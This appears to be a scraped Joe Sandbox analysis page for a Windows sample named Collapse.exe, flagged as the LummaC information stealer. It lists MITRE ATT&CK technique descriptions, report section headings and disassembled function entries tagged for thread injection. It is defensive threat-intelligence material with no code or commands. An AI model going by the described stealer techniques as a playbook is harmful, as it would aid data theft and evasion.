Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Collapse.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
Collapse.exe

Function 009B619E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 0099BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00981860 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 0098A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Function 00981700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 0099481D Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 009949B3 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 00994B24 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 009A2D15 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 009A34EE Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 0099C862 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00994935 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00981B70 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 0099AD27 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00981EA0 Relevance: 1.8, APIs: 1, Instructions: 289
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre